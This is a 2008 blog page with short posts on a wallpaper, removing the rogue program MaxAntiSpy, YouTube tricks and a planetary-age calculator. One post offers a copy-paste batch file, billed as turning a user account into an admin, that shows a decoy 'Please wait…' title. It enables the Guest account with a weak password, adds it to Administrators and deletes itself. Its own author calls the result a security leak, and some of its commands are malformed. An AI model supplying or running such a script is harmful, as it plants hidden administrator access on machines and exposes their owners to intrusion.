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August 17th, 2008

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Old Books Desktop Background


If you don't read them, at least look at them!
Those are some seriously old books, but a beautiful wallpaper.

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Written by silfiriel on August 17th, 2008 with no comments.
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MaxAntiSpy Removal Guide

Do you know what MaxAntiSpy is?

DESCRIPTION

MaxAntiSpy is a Russian Federation based rogue anti-spyware program plaguing computers around the world. MaxAntiSpy was found to come directly from the MaxAntiSpy.com website or ported through other means such as a Trojan infection or browser security hole.

After MaxAntiSpy or Max Anti Spy is installed, it will start to perform scans of your system which always comes back with bogus results in an attempt to scare you into purchase a full version of MaxAntiSpy. MaxAntiSpy tricks computer users into believing that they need to purchase the full MaxAntiSpy program in order to remove the parasites that it located.

In non-techie terms: If you are unlucky enough to have MaxAntiSpy installed on your computer you will notice that the lettering is mostly in Russian which may not be understandable to those outside of Russia. You may become annoyed to the point of making a mistake by purchasing MaxAntiSpy thinking that it will rid your computer of the popups that MaxAntiSpy creates. MaxAntiSpy may eventually lead to theft of your data or corruption of your system. Do not purchase MaxAntiSpy under any circumstances. You must remove MaxAntiSpy as soon as you can to prevent damage to your system or theft of your data.

MaxAntiSpy screen shot image:
MaxAntiSpy

MaxAntiSpy.com website image:
MaxAntiSpy.com

MaxAntiSpy Automatic Removal Instructions

This automatic removal method is for non-techie computer users. If you’re too lazy to learn about spyware removal or how to access sensitive files in your computer, then this is the method for you.
Before you start: Print or bookmark these instructions because you’ll have to reboot into Safe Mode. Also back up your computer in case you make a mistake.

  1. Download and save SmitFraudFix to your desktop.
  2. Restart your computer in Safe Mode (how to do safe mode). Once the
    desktop appears, double click on the SmitfraudFix.exe on your desktop.
  3. After the credits screen, you’ll see a menu. Select the option number 2, which is ‘Clean (safe mode recommended)’, and then
    press Enter to delete infect files.
  4. SmitFraudFix will begin cleaning your computer and take a series of cleanup processes. When the process is over, it will automatically begin the Disk Cleanup program.
  5. Once the Disk Cleanup program is complete, you will be prompted with the message ‘Registry cleaning - Do you want to clean the registry’. Answer Y (Yes) and hit Enter. Reboot your computer.
  6. SmitFraudFix will now check if wininet.dll is infected. SmitFraudFix will ask you whether to replace the infected file (if there’s any) ‘Replace infected
    file?’
    Answer by typing Y (Yes) and hit Enter.
  7. Reboot your computer to complete the cleaning process.
  8. After reboot, a Notepad screen may appear containing a log of all the files
    removed from your computer. If it doesn’t appear, a file will be created called
    rapport.txt in the root of your drive, (Local Disk C:).
  9. Restart your computer in Safe Mode (how to do safe mode).
  10. Go to C:\Windows\Temp, click Edit, click Select All, press DELETE, and then
    click Yes to confirm that you want all the items to go to the Recycle Bin.
  11. Go to C:\Documents and Settings\[LISTED USER]\Local Settings\Temp, click Edit, click Select All, press DELETE, and then click Yes to confirm that
    you want all the items to go to the Recycle Bin.
  12. Reboot your computer back to normal mode. Go to Windows Update and download all critical updates.

MaxAntiSpy Manual Removal Instructions

This manual removal method is for techie computer users. MaxAntiSpy manual removal may be difficult and time consuming to remove. There’s no guarantee that MaxAntiSpy will be removed completely. So read the MaxAntiSpy removal steps carefully and good luck.
Before you start: Close all programs and Internet browsers. Also back up your computer in case you make a mistake and your computer stops working.

  1. Uninstall MaxAntiSpy Program
    Click on Start > Settings > Control Panel > Double-click on Add/Remove Programs. Search for and uninstall MaxAntiSpy if found.
  2. If your homepage has been changed, go to Start > Control Panel > Internet Options > click on the General > click Use Default under Home Page. Add the your desired default homepage, then click Apply > click OK. Open a new web browser to check that you have your desired default homepage.
  3. Remove MaxAntiSpy Directories.
    To find MaxAntiSpy directories, go to Start > My Computer > Local Disk (C:) > Program Files > Show the contents of this folder.
    Search and delete the following MaxAntiSpy directories:
    C:\Program Files\MaxAntiSpy
    C:\Program Files\Max Anti Spy

    Right-click on the MaxAntiSpy folder and select Delete.
    A message will appear saying ‘Are you sure you want to remove the folder MaxAntiSpy and move all its contents to the Recycle Bin?’, click Yes.
    Another message will appear saying ‘Renaming, moving or deleting MaxAntiSpy could make some programs not work. Are you sure you want to do this?’, click Yes.

  4. To remove MaxAntiSpy icons on your Desktop, drag and drop them to the Recycle Bin.

You’ve completed the MaxAntiSpy manual removal instructions!
I hope this article has helped you solve your MaxAntiSpy problems. If you want to contribute to this article, post your comment below.

Disclaimer: This article is for educational purposes. By using this information you agree to be bound by the disclaimer. There’s no guarantee that MaxAntiSpy will be completely removed from your computer. Seek professional help if your computer continues to experience problems.

Written by Valentino on August 17th, 2008 with no comments.
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Want to convert a user account into an Admin?

Want to convert a user account into an Admin?

All you need to do is copy the code below, copy/paste it into Notepad and save it as User2admin.bat on your desktop.

echo off
title Please wait…
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Double-click the file to execute or type the above-given code in Command Prompt.

Note: this also creates a net account which is also accessable through nets open port (basically it’s a security leak).

Written by magakos on August 17th, 2008 with no comments.
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Watch Deleted Youtube Videos With Delutube

It disappoints a lot whenever we see the message “This video is no longer available” while trying to play a Youtube video. Youtube deletes videos which are linked to copyright issues, adult content and offensive content. But there is a way to watch deleted videos with the help of Delutube.

It is possible to watch deleted Youtube videos with Delutube as long as Youtube maintains a copy of the video on their cache servers. To view the deleted video, just supply the Youtube video id and Delutube will fetch and play it.

How to find Youtube video id?

A set of characters which we see after http://youtube.com/watch?v=in the Youtube URL is the video id. For example lSHCxNmOwfY is the id of youtube video URL http://youtube.com/watch v=lSHCxNmOwfY.

Delutube may not be able to play videos that have been permanently deleted from the Youtube servers.

» Delutube Website Address
CODE
http://youtube.infamousx.com/

Written by magakos on August 17th, 2008 with no comments.
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Download youtube videos that too easily!

wanna download youtube videos that too easily!
just add &fmt=18 at the end of d video u r watching n have fun!!!!

it works only wen d length of d video is more than 2.5 mins (approx)
wrkd wid me fine


Leave comments!!

Written by magakos on August 17th, 2008 with no comments.
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Check Your Age on Other Planets

Every planet takes different time frame to rotate the sun. Our Earth takes 365 days or One year to do the same. In our solar system, some planets take less than one Earth year and others take many Earth years to rotate.

What would be our age if we were born on MERCURY, VENUS, MARS, JUPITER, SATURN, URANUS, NEPTUNE, PLUTO ?

With the help the following website we can calculate our age in other planets

Check this website

Try this and give your comments.

Written by magakos on August 17th, 2008 with no comments.
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